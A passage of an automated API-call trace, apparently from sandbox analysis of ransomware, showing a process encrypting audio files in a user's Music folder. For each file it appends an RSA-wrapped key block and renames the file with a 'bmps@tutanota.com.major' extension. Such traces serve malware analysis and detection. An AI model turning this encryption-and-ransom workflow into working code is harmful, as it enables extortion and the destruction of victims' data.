(lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\TEd5f 7tCv2Rnpo.mp3" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\ted5f 7tcv2rnpo.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\TEd5f 7tCv2Rnpo.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\ted5f 7tcv2rnpo.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.283] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0156.283] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.283] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.283] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\sm C75.m4a", dwFileAttributes=0x80) returned 1 [0156.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0156.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0156.284] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0156.284] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\sm C75.m4a" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\sm c75.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.284] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=38728) returned 1 [0156.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9748) returned 0x6538b0 [0156.284] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9748) returned 0x65d000 [0156.284] ReadFile (in: hFile=0x6d8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x9748, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x9748, lpOverlapped=0x0) returned 1 [0156.285] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=-38728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.285] WriteFile (in: hFile=0x6d8, lpBuffer=0x65d000*, nNumberOfBytesToWrite=0x9748, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d000*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9748, lpOverlapped=0x0) returned 1 [0156.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.285] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d000 | out: hHeap=0x570000) returned 1 [0156.285] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9748 [0156.285] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.285] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.285] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.285] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.286] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.286] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.286] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="fFdFbREQN4cazJlvTkJKXM3Yldq4FmTlkE8f4pr6TpDa+/2OPwITFAwf9cMyy2V+\nh5haavmx8pkGS4D7nncBx9Gh5XgSj1uFUR4T8BiQ5g7e5ExambLxCAPK6KioEQej\nxwLGGMKyyFQpTC1HfcKpL/LvZWcLqz4YillDJPwkAx/u7kOSL1kesJzbYL3hvEIN\nRgRHSbujLfBXvOHCwNssM0SX4YObyk+sSRBhTKApoUHXY4F3lWNZohdWDmWIpqBT\nZuRQCpG7RUDafzJLZ7XFX9TKUrx5ILg90XbKN+4d6fZb1Xr684GORBHOl9kLsRvc\nQutwOcIxfr1iqwdIJuT0Zw==\n", pcchString=0x2e3f9a8) returned 1 [0156.286] WriteFile (in: hFile=0x6d8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.286] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.286] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.286] CloseHandle (hObject=0x6d8) returned 1 [0156.286] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.286] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\sm C75.m4a" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\sm c75.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\sm C75.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\sm c75.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0156.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0156.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0156.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.288] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.288] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\P_DuKHawbVaBIgA0yO_.wav", dwFileAttributes=0x80) returned 1 [0156.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0156.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0156.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0156.288] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\P_DuKHawbVaBIgA0yO_.wav" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\p_dukhawbvabiga0yo_.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.289] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=31325) returned 1 [0156.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7a5d) returned 0x6538b0 [0156.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7a5d) returned 0x65b318 [0156.289] ReadFile (in: hFile=0x6d8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x7a5d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x7a5d, lpOverlapped=0x0) returned 1 [0156.290] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=-31325, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.290] WriteFile (in: hFile=0x6d8, lpBuffer=0x65b318*, nNumberOfBytesToWrite=0x7a5d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65b318*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7a5d, lpOverlapped=0x0) returned 1 [0156.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65b318 | out: hHeap=0x570000) returned 1 [0156.290] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7a5d [0156.290] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.290] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.290] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.290] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.291] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.291] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+Y9eUpQxF/v218P3ZIzpXav0fX3g2zlAGmgihNpSrl4u1xd/+NoKikRpSK+HziFe\nQDQpl2ec5UhQsQCRr2f9qKGG7yV5e46crVDQPxqZmqBnTmT4iITPPKO+YO5RjZfQ\nCf+VV/Q0x8DOYuFSYeAfH3LbwWN53jV1C3+S7ToFSSe0wETrHWq1Mvliuvu8aOik\ntQlctH64AC5tIu/BFs9yV93EFF/reDBciKB8SasAbGFxqrWZR9z5+eGluu0Lx3yA\naXK4qNXaw+KJiADOlCwhHxcN+jjPn4M6g7+SDMkXkYKh/Tc2BCAZKtWassDiHw9o\nuPIffxOwiLptYjk3v8BqkA==\n", pcchString=0x2e3f9a8) returned 1 [0156.291] WriteFile (in: hFile=0x6d8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.291] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.291] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.291] CloseHandle (hObject=0x6d8) returned 1 [0156.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.291] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\P_DuKHawbVaBIgA0yO_.wav" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\p_dukhawbvabiga0yo_.wav"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\P_DuKHawbVaBIgA0yO_.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\p_dukhawbvabiga0yo_.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0156.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0156.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0156.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0156.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.293] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.293] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\nEGElsDHscivQ4hTM.mp3", dwFileAttributes=0x80) returned 1 [0156.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0156.293] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.293] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\nEGElsDHscivQ4hTM.mp3" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\negelsdhscivq4htm.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.293] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=87664) returned 1 [0156.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15670) returned 0x6538b0 [0156.293] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x15670) returned 0x2e60f28 [0156.294] ReadFile (in: hFile=0x6d8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x15670, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x15670, lpOverlapped=0x0) returned 1 [0156.296] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=-87664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.296] WriteFile (in: hFile=0x6d8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x15670, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15670, lpOverlapped=0x0) returned 1 [0156.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.296] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.296] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15670 [0156.297] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.297] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.297] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.297] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.297] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.297] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ijPqVMAfBEultjYLWVSWmvfW8P5tmx6hFJ4hAhr5rc3cK0bmurTZEtviqMcmE5pX\nwFz0lDOzt8yhE+AeqzIP6LJAZN55cvnWm3VkZMkR7m0SWUOEmepfAGBkCtiM/UA2\nX3WpYBLlqK7SBDAqZrADh8IlNlpVCT8CShASaiCpuhBscpYg5mU0grTrtX0QW4nV\nXqgUUtSYfuPUPxqIjsH58bavOzWj2EAY3NP8xQiwCMee3IzbFg4pMfpFIbtoi7XA\nt2oaWvdgKt/CoR8bJ6Gtllfdg7FdSOTw8pqQrt0cIn6/RbSI8OltSu1SY1noddFl\n+8t40m5jQh8xVlsY3q3UMQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.297] WriteFile (in: hFile=0x6d8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.297] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.297] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.297] CloseHandle (hObject=0x6d8) returned 1 [0156.298] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.298] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\nEGElsDHscivQ4hTM.mp3" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\negelsdhscivq4htm.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\nEGElsDHscivQ4hTM.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\negelsdhscivq4htm.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0156.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0156.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0156.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.303] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.303] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\iCmkNHSvSOJY_0-nfbFS.m4a", dwFileAttributes=0x80) returned 1 [0156.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0156.303] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.303] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\iCmkNHSvSOJY_0-nfbFS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\icmknhsvsojy_0-nfbfs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d8 [0156.303] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19277) returned 1 [0156.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b4d) returned 0x6538b0 [0156.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b4d) returned 0x658408 [0156.304] ReadFile (in: hFile=0x6d8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x4b4d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b4d, lpOverlapped=0x0) returned 1 [0156.304] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=-19277, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.304] WriteFile (in: hFile=0x6d8, lpBuffer=0x658408*, nNumberOfBytesToWrite=0x4b4d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x658408*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b4d, lpOverlapped=0x0) returned 1 [0156.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x658408 | out: hHeap=0x570000) returned 1 [0156.305] SetFilePointer (in: hFile=0x6d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b4d [0156.305] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.305] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.305] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.305] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.305] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.305] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="p3HGSPHQwcGa65AbDRO7EAVrTuWHR2GRxLBhqP1YTU304m//oPpAwcevCXFWRfMp\n5HA/Kb3V9TmVzUzeivglScyivMlG/jZKrabupbCW/AM9Wpv46nug3e653XH5Zqz3\nSV9HRASLH9O2KJLGTUXj44SD8uiEu9sU8vA7ibU44vKnxy3DPaeurT1iVcXMi9yX\nn0j9Rb0z7qOUBK4ka0sbXmosoFzcJrNHbgzkEf1kOxdo3KTt8ccP6PL1LtBbZFE5\n3gks5q3B6Q1ZXyeZxmML8BQgCuqzW3bsqDqaA3rOeVqSpf5mN2JfijiVz4qUOtH4\nplcSU11zjuAWw+dFbQ1AMQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.305] WriteFile (in: hFile=0x6d8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.305] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.305] WriteFile (in: hFile=0x6d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.305] CloseHandle (hObject=0x6d8) returned 1 [0156.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.305] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\iCmkNHSvSOJY_0-nfbFS.m4a" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\icmknhsvsojy_0-nfbfs.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\TvaUMz0SYA\\iCmkNHSvSOJY_0-nfbFS.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\tvaumz0sya\\icmknhsvsojy_0-nfbfs.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0156.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0156.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0156.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0156.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0156.307] 